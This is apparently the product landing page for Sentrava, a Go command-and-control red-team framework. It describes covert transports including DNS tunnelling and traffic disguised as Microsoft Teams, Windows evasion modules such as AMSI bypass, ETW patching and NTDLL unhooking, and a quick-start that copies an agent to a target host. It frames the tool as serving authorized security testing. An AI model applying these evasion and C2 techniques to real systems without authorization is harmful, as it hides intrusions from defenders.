Go-powered red team framework

Command. Control.
Stay Silent.

A Go-based command-and-control framework for authorized security operations. Certificate-bound identity, scoped operations, and an operator-first interface—engineered for precision.

  • Go 1.26.6
  • mTLS
  • DNS
  • Linux / amd64
  • Role-based access
  • Windows / amd64
  • Session + Beacon
Explore the framework
04Transports
11OPSEC Modules
02Operator Interfaces
01Web Dashboard

Capability map / 01

An operator's control plane.

Clear boundaries. Explicit permissions. Documented verification.

Supported

Quad Transport

mTLS with mutual certificate authentication, AES-256-GCM encrypted TCP, HTTP polling with C2 profile masquerading, and DNS TXT-record tunnelling. Each transport is independently configurable and embeds credentials at build time via ldflags.

Transport reference
Supported

Traffic Masquerade

Built-in HTTP profiles that disguise beacon traffic as Microsoft Teams presence updates, Google Analytics beacons, or Cloudflare RUM telemetry. Custom profiles via YAML.

HTTP profiles
Supported

11-Module OPSEC Stack

Linux suite: sleep masking, polymorphic re-encryption, TLS fingerprint pinning, environment guardrails, anti-debug canary. Windows suite: ETW patching, AMSI bypass, NTDLL unhooking, PPID spoofing, indirect syscalls, SleepMask. Kill Date and Working Hours lifecycle controls.

OPSEC overview
Supported

Interactive PTY Shell

Full interactive bash shell via Linux PTY. Windows agents use one-shot exec for command output. Requires session mode. Exit with Ctrl+Q.

Shell capability
Supported

TCP Port Forwarding

Tunnel any TCP connection through the agent to unreachable network segments. SSH, RDP, database access — verified with live SSH tunneling through C2.

Port forwarding
Supported

Operator Dashboard

Real-time web dashboard with SSE live updates. Manage listeners, agents, sessions, tasks, and operations. Add listeners and activate agents directly from the browser.

Dashboard overview
Supported

DNS Transport

Tunnel C2 traffic over DNS TXT record queries — effective where HTTP/TCP is blocked. The agent encodes beacon data into base64-padded TXT lookups; the teamserver resolves queries via its embedded resolver on UDP/53. No external DNS provider required.

DNS transport docs
Supported

Windows OPSEC Suite

Six kernel and userland modules targeting Windows telemetry: ETW patch, AMSI bypass, NTDLL unhooking from a clean on-disk copy, PPID spoofing to inherit a trusted parent, indirect syscalls via runtime trampoline, and SleepMask obfuscation during sleep intervals.

Windows OPSEC docs
Supported

Lifecycle Controls

Kill Date forces the agent to self-terminate after a configured UTC timestamp — no operator action required. Working Hours restricts beacon callbacks to a defined daily window, reducing noise outside business hours. Both are embedded at build time via ldflags.

Lifecycle reference
Supported

Binary Hardening

Garble integration rewrites symbol names, obfuscates string literals, and strips DWARF debug info at compile time. XOR obfuscation via ldflags XORs the agent's embedded server credential. The resulting binary has no visible function names, import table symbols, or plaintext strings.

Hardening flags

Transport matrix / 02

Four transports. One framework.

Choose based on the target environment. All transports embed credentials at build time — zero flags on the agent binary.

TransportAuthEncryptionDefault portFirewall evasionInteractive shellBandwidth
mTLSMutual certificateTLS 1.34433Low — raw TLS on non-standard port✓ PTY (Linux)High
TCPHMAC tokenAES-256-GCM4444Low — raw TCP✓ PTY (Linux)High
HTTPEmbedded tokenTLS (HTTPS) + profile443 / 80High — mimics web traffic via C2 profiles✓ PTY (Linux)Medium
DNSEmbedded tokenBase64 payload over UDP/5353Very high — DNS rarely blocked egressLimited (one-shot)Low

All transports support beacon and session mode. DNS interactive shell is one-shot exec; full PTY requires mTLS / TCP / HTTP. Transport reference

OPSEC stack / 03

Eleven modules. Two platforms.

Each module is opt-in, embedded at build time, and independently documented with ldflags and verification steps.

Linux 5 modules

  • guardrailsAborts execution if environment checks fail — wrong hostname, missing env var, UID mismatch. Prevents detonation outside the intended target.
  • validatorValidates TLS server certificate fingerprint against an embedded SHA-256 pin. Blocks MITM analysis of agent traffic in a sandbox.
  • sleepmaskXOR-encrypts the agent's heap region before sleeping and decrypts on wake. Reduces in-memory IOCs visible to YARA-based scanners during dwell time.
  • canaryInjects a synthetic debug event. If a debugger is attached, the canary fires and the agent self-terminates before executing the beacon loop.
  • polymorphRe-encrypts embedded configuration literals on each run using a derived key. String-based signatures on the binary's data section do not persist across executions.

Windows 6 modules

  • etw-patchPatches EtwEventWrite in ntdll.dll to return immediately. Prevents ETW-based EDR telemetry from capturing agent activity, including .NET assembly loads and reflective injection.
  • amsi-bypassPatches AmsiScanBuffer to always return AMSI_RESULT_CLEAN. Disables Windows Defender AMSI scanning for in-memory payloads executed by the agent.
  • ntdll-unhookReplaces the in-memory ntdll.dll with a clean copy read directly from disk, removing userland hooks placed by EDR products in the syscall stubs.
  • ppid-spoofSpawns child processes with a spoofed parent PID. Process tree analysis shows a trusted system process as parent instead of the agent, reducing behavioural detections.
  • indirect-syscallRoutes sensitive NT API calls through a runtime trampoline that jumps directly into the syscall instruction, bypassing userland hooks without calling ntdll stubs.
  • sleepmask-winEncrypts the agent's private heap and decommits stack pages during sleep intervals. In-memory scanners operating during dwell time find no agent artefacts.

All modules are enabled via --opsec / --win-opsec flags at generate time. Presets: none · basic · full. OPSEC overview

Platform support / 04

Linux and Windows. Same binary format.

Cross-compiled from the same Go source. Windows agents are produced with GOOS=windows CGO_ENABLED=1 and mingw-w64.

CapabilityLinuxamd64Windowsamd64
mTLS transportSupportedSupported
TCP transportSupportedSupported
HTTP + C2 profilesSupportedSupported
DNS transportSupportedSupported
Interactive PTY shellFull PTYOne-shot exec
TCP port forwardingSupportedSupported
OPSEC modules5 modules
  • guardrails
  • validator
  • sleepmask
  • canary
  • polymorph
6 modules
  • etw-patch
  • amsi-bypass
  • ntdll-unhook
  • ppid-spoof
  • indirect-syscall
  • sleepmask-win
Kill Date / Working HoursSupportedSupported
Garble + XOR hardeningSupportedSupported
Session + Beacon modesSupportedSupported
Process listingSupportedSupported
File system operationsSupportedSupported

Windows cross-compilation requires mingw-w64. See the installation guide for toolchain setup.

Quick start / 05

Up and running
in minutes.

Zero-flag agent deployment. Credentials embedded at build time via ldflags.

Read the full deployment guide
bash · quick start
# Start teamserver
./bin/sentrava-server

# Launch operator client
./bin/sentrava-client

# Create operation and generate agent
sentrava > operations create op1 --target 192.168.0.197
sentrava > generate --listener 192.168.0.199:4433

# Deploy on target
scp <package>/sentrava-agent user@target:~/
# On target: ./sentrava-agent

# Get a session
sentrava > sessions list
sentrava > sessions use <id>
sentrava > whoami

System topology / 06

One server. Explicit trust boundaries.

The CLI and browser share server-side policy. The dashboard is optional.

Inside Sentrava
Illustrative data flow
Operator interfaces
One control plane.
Agent runtime
Agent transportsmTLSTCPHTTPDNSTasks ↓   Check-ins & results ↑
Explore a component

Teamserver

Both operator interfaces share the same server-side policy and state.

  • Access & scopeRBAC, operations and target scope
  • Identity & sessionsEnrollment records and agent check-ins
  • Tasks & storageTask results and the SQLite journal

Select a component to explore its role. Moving lines illustrate communication, not live traffic.

Authorized security testing only.

Use Sentrava only within a documented authorization boundary. Keep PKI, credentials, and test databases separate from production systems.

Framework comparison / 07

Different frameworks.
Different priorities.

Sentrava brings a CLI and browser dashboard around one policy-aware teamserver. Here is how that approach compares with Sliver, Mythic and Havoc.

01 / WORKFLOW

Two ways to operate.

Use the CLI or the React dashboard. Both share server-side operation scope, identities and task state.

02 / CONTROL

Explicit boundaries.

Agent enrollment, certificate revocation and role-based access are part of Sentrava’s documented MVP.

03 / STATE

One place for context.

A Go teamserver and SQLite store keep operations, tasks and an event journal together.

Compare the documented approaches below. On smaller screens, scroll horizontally to see every framework.

Sentrava, Sliver, Mythic and Havoc: interfaces, architecture, collaboration and extension models
Design choiceSentravaIntegrated control planeSliverConsole-led workflowMythicComposable platformHavocDesktop workspace
Operator interfaceInteractive CLISeparate operator clientsReact web interfaceCollaborative browser workspaceQt desktop clientSession table and graph views
Core architectureGo client / serverServer and clients run on Linux, Windows and macOSContainer-based servicesGo, GraphQL, PostgreSQL and RabbitMQTeamserver + clientGo server with a C++ / Qt interface
Operator & task contextMultiplayer sessionsOperator-to-server authentication with mTLSOperation trackingOperators, task history, artifacts and shared contextShared teamserverRegistered operators and an event viewer
Extension approachScriptable workflowsJavaScript / TypeScript and Python scriptingPlug-in servicesPayload types, C2 profiles and integrations in separate containersCustom agents & modulesService integration and Python API
What makes Sentrava’s approach distinct?

The combination of CLI and browser access, SQLite-backed state and explicit enrollment / operation boundaries is its focus. These are design choices, not claims that other frameworks lack access control or task tracking.

Sources & comparison scope Reviewed 23 October 2026

This is a comparison of documented designs, not a performance, detection or security benchmark. Sentrava reflects its current development README; Mythic reflects the 4.0 documentation. Capabilities vary by release and installed agent. The original Havoc repository is archived.

Precision. Persistence. Control.

Know the system.
Know its boundaries.

Open documentation